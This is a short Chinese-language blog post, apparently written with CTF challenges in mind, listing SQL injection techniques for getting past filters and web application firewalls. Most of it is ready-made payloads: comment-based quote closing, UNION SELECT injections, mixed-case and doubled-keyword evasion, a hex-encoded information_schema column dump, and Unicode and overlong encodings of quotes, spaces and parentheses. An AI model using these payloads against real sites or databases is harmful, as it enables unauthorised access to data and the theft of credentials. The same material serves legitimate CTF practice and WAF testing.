SQL注入绕过姿势
Drunkbaby Lv6

SQL注入绕过姿势

0x01 对于SQL查询的基础语句

先看一看正常的登录语句

1
select * from ctf where username='$username' and password='$password'; 

如果单引号被过滤的时候,将前面username中的'进行注释,尝试与password中的'拼接。

常用的注释符:

1)– 注释内容

2)# 注释内容

3)/*注释内容*/

例如:union select 1,2#

这样子构造的闭合就是:1' union select 1,2#

0x02 针对waf正则对大小写不敏感的情况

使用大小写绕过:

1
1' uNiOn seLeCt 1,2,3#

0x03关键字被过滤,需要双写绕过

当部分关键字被过滤,例如union,select,information等关键字被过滤的时候,可以尝试双写绕过

原本的payload:

1
2
3
1' union select 1,2#

改为 1' ununionion selselectect 1,2#

0x04特殊编码绕过

1)十六进制绕过

1
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2)ascii编码绕过

1
Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

3)Unicode编码

常用的几个符号的一些Unicode编码:

单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

 评论